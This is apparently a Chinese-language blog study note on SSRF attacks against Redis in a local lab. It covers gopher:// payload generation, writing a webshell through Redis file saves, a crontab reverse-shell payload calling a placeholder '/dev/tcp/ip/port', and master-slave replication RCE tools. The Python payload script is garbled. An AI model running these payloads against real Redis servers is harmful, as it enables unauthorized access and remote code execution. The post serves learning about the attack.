SSRF攻击Redis学习


在Ubuntu虚拟机上搭建redis服务

$sudo  #获取root权限
apt-get install redis-server #安装redis服务
vim /etc/redis/redis.conf  #查看配置文件(默认6379端口,无密码)
/bin/redis-server /etc/redis/redis.conf  #启动redis服务
netstat -antpl|grep redis  #验证redis服务已启动

前置知识之Redis通信方式

redis是一个key-value式的非关系型数据库,redis服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信。

这里直接从大佬的blog截出不同类型数据间的处理方式

 

nc 127.0.0.1 6379 #在虚拟机中nc连接redis

 

可见这里name对应的值a为长度为1的bulk strings。

前置知识之gopher协议

可以使用gopher协议携带数据来访问目标,格式:gopher://<host>:<port>/<path>_后接数据流

攻击方法

知道了Redis的通信方式,就可以构造自己想执行的命令并将其转化为特定的格式,利用gopher协议携带该数据访问redis并执行相应命令。

写一个生成payload的python脚本

from urllib.parse import quote as urlencode
def gopher():
  #stream里是构造的数据 stream
=f''' '''.replace("\n","\r\n") g="gopher://127.0.0.1:6379/_"+urlencode(stream) return g print(urlencode(gopher()))

进行测试一下:首先在本地redis上执行命令set password 123456来设置password对应的值为123456,攻击目的即通过test.php来未授权访问redis并拿到password对应的值。

所需执行的命令是get password=>根据通信方式构造数据并用python脚本生成payload,此时已经可以用curl命令执行得到回显

在攻击有密码的redis过程中需要在前面加一条命令‘auth xxxx’即可

已知web目录绝对路径写webshell

我的理解是用redis存备份文件的方法控制文件名和部分内容,写入特定目录下

这里可以用到一个生成payload的工具redis-over-gopher,将所要执行的命令放在redis.cmd里,运行python脚本即可。

这里中间有一个细节是如果按默认配置的话save命令会报一个error出来,解决方法是nc连上redis执行config set stop-writes-on-bgsave-error no

打一下看看效果

 

 可见写入成功。

写crontab反弹shell

仅在centos中能成功(因为存在一些脏数据),本地环境是ubuntu,就仅仅简单记录一下攻击方法

set y "\\n\\n\\n\\n* * * * * root bash -i >&/dev/tcp/ip/port >&1\\n\\n\\n\\n"
config set dir /etc/
config set dbfilename crontab
save
quit

 将以上代码放入redis.cmd,其他步骤同上。

主从复制rce

我的理解是模拟主服务器加载恶意的.so文件,让目标作为从机同步,从而完成攻击。

这里就直接利用工具redis-rce(-L里的参数不能直接填127.0.0.1)

成功实现rce,其中exp.so是贴的工具redis-rogue-server里的。

 



 
 
posted @ 2022-01-01 12:59  Yu_so1dier0n  阅读(397)  评论(0编辑  收藏  举报